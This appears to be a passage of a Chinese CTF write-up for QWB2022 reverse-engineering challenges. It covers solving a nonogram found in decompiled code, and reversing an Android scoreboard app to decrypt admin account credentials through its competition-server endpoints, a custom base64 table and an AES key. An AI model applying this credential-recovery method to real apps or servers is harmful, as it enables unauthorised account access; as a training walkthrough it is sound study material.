int v9; // [rsp+34h] [rbp-14h]
int v10; // [rsp+38h] [rbp-10h]
char v11; // [rsp+3Ch] [rbp-Ch]
int v12; // [rsp+40h] [rbp-8h]
int i; // [rsp+44h] [rbp-4h]
for ( i = 0; i <= 24; ++i )
{
v12 = 0;
v11 = 0;
v10 = 0;
v9 = 1;
while ( v12 <= 24 )
{
if ( *(_BYTE *)(25 * i + v12 + a1) )
{
++v11;
v10 = 1;
}
else
{
if ( v10 )
{
*(_BYTE *)(a2 + 25LL * i + v9) = v11;
v11 = 0;
++v9;
}
v10 = 0;
}
if ( ++v12 == 25 && v10 )
{
*(_BYTE *)(a2 + 25LL * i + v9) = v11;
v11 = 0;
++v9;
}
}
result = (_BYTE *)(25LL * i + a2);
*result = v9 - 1;
}
for ( j = 0; j <= 24; ++j )
{
v7 = 0;
v6 = 0;
v5 = 0;
v4 = 1;
while ( v7 <= 24 )
{
if ( *(_BYTE *)(25 * v7 + j + a1) )
{
++v6;
v5 = 1;
}
else
{
if ( v5 )
{
*(_BYTE *)(a3 + 25LL * j + v4) = v6;
v6 = 0;
++v4;
}
v5 = 0;
}
if ( ++v7 == 25 )
{
if ( v5 )
{
*(_BYTE *)(a3 + 25LL * j + v4) = v6;
v6 = 0;
++v4;
}
}
}
result = (_BYTE *)(25LL * j + a3);
*result = v4 - 1;
}
return result;
}
了解一下逻辑后,发现是一个数织,同时先前在init段发现有换表操作,然后拿换表后的两个表,找在线网站进行解决
同时网站可以直接输入表直接解决。提取出数据,并且根据网站的规则改成下面这样
{"ver":[[5,1,3,2,1,1],[1,1,1,1,1,1,1,1],[3,1,3,1,4,1,1],[1,1,1,2,1,1,1,1],[1,4,1,3,2,1,3],[0],[4,4,4,1,1,1],[1,2,2,1,2,1,2,1],[1,1,1,1,3,4,3,1],[1,1,1,1,1,1,1,1,1,1],[3,1,3,1,4,1,1],[2],[1,1,4,1,1,4],[8,1,1,1,1,2],[1,1,1,1,1,1,1,4],[2,2,1,2,1,1,1,1,1,1],[2,5,1,1,3],[0],[12,2,1,1,1,1],[2,1,1,1,1,1,1,1,1],[4,7,2,1,1,1,1],[1,1,2,1,1,1,1,1,1],[12,2],[1,1,1,1],[4,2,1,1]],"hor":[[5,5,3,1,3],[1,1,1,1,1,1,1,1,1,1],[1,1,5,1,3,1,1],[1,2,4,5,1],[5,2,1,1,1,1,1],[1,1,1,1,5],[1,2,6,1,3],[2,2,1,1,1,1,1],[2,5,1,3,1,1],[1,1,1,1,1,1,1,3,1],[2,1,1,1,1,1,1],[2,5,3,1],[3,5,1,1,1],[1,1,1,1,1,1,1,1],[1,1,1,3,5,5],[1,3,5,1,1,1],[1,1,3],[5,1,2,4,1],[1,1,4,3],[1,1,2,4,1],[5,4,3],[2,5,4,1],[5,3,1,1,1],[1,2,1,1,1,4,1],[1,1,1]]}
FLAG{I LOVE PLAY ctf_QWB2022}
GAME (赛后)
是联网的,所以先找到URL地址http://47.93.244.181/re/
,接着在com.silence.scoreboard.http
包中找到了各个路由
访问ScoreBoard.php
获取用户组,分为了users
和admins
,这里只有admin
用户才能看到flag
public static void getFlag(LifecycleOwner lifecycleOwner, String str, String str2, String str3, CallBackLis<String> callBackLis) {
HashMap hashMap = new HashMap();
try {
hashMap.put("code", str);
hashMap.put("account", str2);
hashMap.put("username", str3);
} catch (Exception e) {
e.printStackTrace();
}
HttpCall.doCall(lifecycleOwner, ((Api) RetrofitHelper.getInstance().getRetrofit().create(Api.class)).getFlag(hashMap), callBackLis, null);
}
根据上述代码可知,获取flag需要code、account和username,这其中code是明文可以直接获取,而account和username是密文,需要解密。
加密过程可以在登录或者注册功能查看。
通过ScoreBoard.php
可以获取 code 值和 username 密文,接着通过AddFriend.php
可以获取 account 密文,最后将 username 和 account 解密,发送请求即可获得flag。
无语了,看错了一个点搞了半天没搞出,最后赛后base64的表是异或的0x01
看成导致这里出不来,他就改了so改了表和key
然后魔改了base64
tb=[0x15, 0x08, 0x29, 0x2F, 0x0B, 0x25, 0x30, 0x16, 0x11, 0x72, 0x0C, 0x07, 0x2C, 0x09, 0x06, 0x73, 0x24, 0x22, 0x10, 0x23, 0x12, 0x2B, 0x70, 0x1A, 0x0E, 0x04, 0x03, 0x77, 0x78, 0x14, 0x31, 0x3A, 0x76, 0x2A, 0x0D, 0x2D, 0x0A, 0x36, 0x02, 0x71, 0x01, 0x33, 0x6F, 0x35, 0x21, 0x17, 0x75, 0x39, 0x05, 0x26, 0x2E, 0x0F, 0x34, 0x32, 0x27, 0x6B, 0x79, 0x37, 0x28, 0x18, 0x13, 0x74, 0x19, 0x38]
for i in range(64):
tb[i]^=(0x41^0x01)
print(bytes(tb))
#b'UHioKepVQ2LGlIF3dbPcRk0ZNDC78Tqz6jMmJvB1As/uaW5yEfnOtrg+9whXS4Yx'
k=[0x5D, 0x5E, 0x5F, 0x58, 0x59, 0x5A, 0x22, 0x23, 0x2C, 0x2D, 0x2E, 0x2F, 0x28, 0x29, 0x2A, 0x2B]
for i in range(len(k)):
k[i]^=0x1b
得到表和密钥
#include <stdlib.h>
#include <stdio.h>
#include<string.h>
int __fastcall sub_11212(char a1[], char* a2, int a3, char a4[])
{
int v5; // r4
int v6; // r10
char *v7; // r11
int v8; // r1
char *v9; // r5
int v10; // r1
int v11; // r0
char v12; // r0
if (a3 < 1)
{
v11 = 0;
}
else
{
v5 = 0;
v6 = 2;
while (1)
{
v7 = a2 + v6;
*(a2 + v6 - 2) = *(a4 + (*(a1 + v5) >> 2));
v8 = (16 * *(a1 + v5)) & 0x30;
if (v5 + 1 >= a3)
{
v12 = *(a4 + v8);
*(a2 + v6) = 15677;
*(v7 - 1) = v12;
goto LABEL_10;
}
v9 = a1 + v5;
*(v7 - 1) = *(a4 + (v8 | *(a1 + v5 + 1) & 0xF));
v10 = (*(a1 + v5 + 1) >> 2) & 0x3C;
if (v5 + 2 >= a3)
break;
v5 += 3;
*(a2 + v6) = *(a4 + (v10 | (*(v9 + 2) >> 6)));
v6 += 4;
*(v7 + 1) = *(a4 + (*(v9 + 2) & 0x3F));
if (v5 >= a3)
{
v11 = v6 - 2;
goto LABEL_11;
}
}
*(a2 + v6) = *(a4 + v10);
*(v7 + 1) = 61;
LABEL_10:
v11 = v6 + 2;
}
LABEL_11:
*(a2 + v11) = 0;
return a2;
}
int __fastcall deccode(unsigned char a1[] , unsigned char* a2, char* a3)
{
unsigned __int8 v3; // r12
unsigned __int8* v4; // r11
int result; // r0
int v6; // r9
unsigned char v7; // lr
int i; // r3
unsigned int v9; // r5
unsigned int j; // r6
unsigned char v11; // r6
int k; // r3
unsigned __int8* v13; // r8
char v14; // r3
int v15; // r12
int v16; // r11
v3 = *a1;
if (*a1)
{
v4 = a1;
result = 0;
v6 = 0;
while (1)
{
v7 = -1;
for (i = 0; i != 64; ++i)
{
if (*(a3 + i) == v3)
v7 = i;
}
v9 = 255;
for (j = 0; j != 64; ++j)
{
if (*(a3 + j) == v4[v6 | 1])
v9 = j;
}
v11 = -1;
for (k = 0; k != 64; ++k)
{
if (*(a3 + k) == v4[v6 | 2])
v11 = k;
}
v13 = v4;
v14 = -1;
v15 = 0;
v16 = v4[v6 | 3];
do
{
if (*(a3 + v15) == v16)
v14 = v15;
++v15;
} while (v15 != 64);
*(a2 + result) = (v9 >> 4) & 3 | (4 * v7);
if (v13[v6 | 2] == 61)
{
++result;
goto LABEL_26;
}
v4 = v13;
*(a2 + result + 1) = v9 & 0xF | (4 * (v11 & 0x3C));
if (v13[v6 | 3] == 61)
break;
v6 += 4;
*(a2 + result + 2) = v14 & 0x3F | (v11 << 6);
result += 3;
v3 = v13[v6];
if (!v3)
goto LABEL_26;
}
result += 2;
}
else
{
result = 0;
}
LABEL_26:
*(a2 + result) = 0;
return result;
}
int main() {
unsigned char msg[] ={ 0x49,0x76,0x87,0xf2,0xb8,0xbd,0xca,0x2e,0xfc,0x18,0x4b,0xe1,0x62,0x61,0x35,0x42,0x5,0xe2,0x59,0xf7,0x3c,0xd3,0xbe,0x8d,0x66,0xbe,0x26,0x22,0x95,0x7f,0x43,0x48 };
char table[] = "UHioKepVQ2LGlIF3dbPcRk0ZNDC78Tqz6jMmJvB1As/uaW5yEfnOtrg+9whXS4Yx";
int len = strlen(msg);
int v7 = 4 * (len / 3) + 4;
if (len == 3 * (len / 3))
v7 = 4 * (len / 3);
unsigned char* buff;
int v22;
buff = malloc(v7);
sub_11212(msg, buff, len, table);
//for (int ii = 0; ii < strlen(buff); ii++)
//{
// printf("0x%x,", buff[ii]);
//}
unsigned char msgg[] = "SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll/Q4Q=";
int lenn = strlen(msgg);
if (msgg[v7 - 2] == 61) {
v22 = 3 * (v7 >> 2) - 2;
}
else
{
v22 = 3 * (v7 >> 2);
if (msgg[v7 - 1] == 61)
--v22;
}
unsigned char* bufff;
bufff = malloc(v22 + 1);
deccode(msgg, bufff, table);
for (int ii = 0; ii < strlen(bufff); ii++)
{
printf("0x%x,", bufff[ii]);
}
return 0;
}
//0xf2,0x1d,0x41,0x70,0xa3,0xf8,0xbe,0x2b,0x9c,0x2c,0x7a,0x7a,0xfb,0xfa,0xa7,0x20,0x6c,0x42,0xb7,0x7b,0x1c,0x5b,0xa7,0xd8,0x5e,0xab,0x63,0x34,0x3c,0x2a,0x23,0x2d
解密
import base64
from Crypto.Cipher import AES
iv =b"0123456789ABCDEF"
key = b"0123456789ABCDEF"[::-1]
enc=b'atao'
s=[0xf2,0x1d,0x41,0x70,0xa3,0xf8,0xbe,0x2b,0x9c,0x2c,0x7a,0x7a,0xfb,0xfa,0xa7,0x20,0x6c,0x42,0xb7,0x7b,0x1c,0x5b,0xa7,0xd8,0x5e,0xab,0x63,0x34,0x3c,0x2a,0x23,0x2d]
ae=AES.new(key,AES.MODE_CBC,iv)
print(ae.decrypt(bytes(s)))
#b'&Od987$2sPa?>l<k^j\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
所有文章未经授权禁止转载、摘编、复制或建立镜像,违规转载法律必究。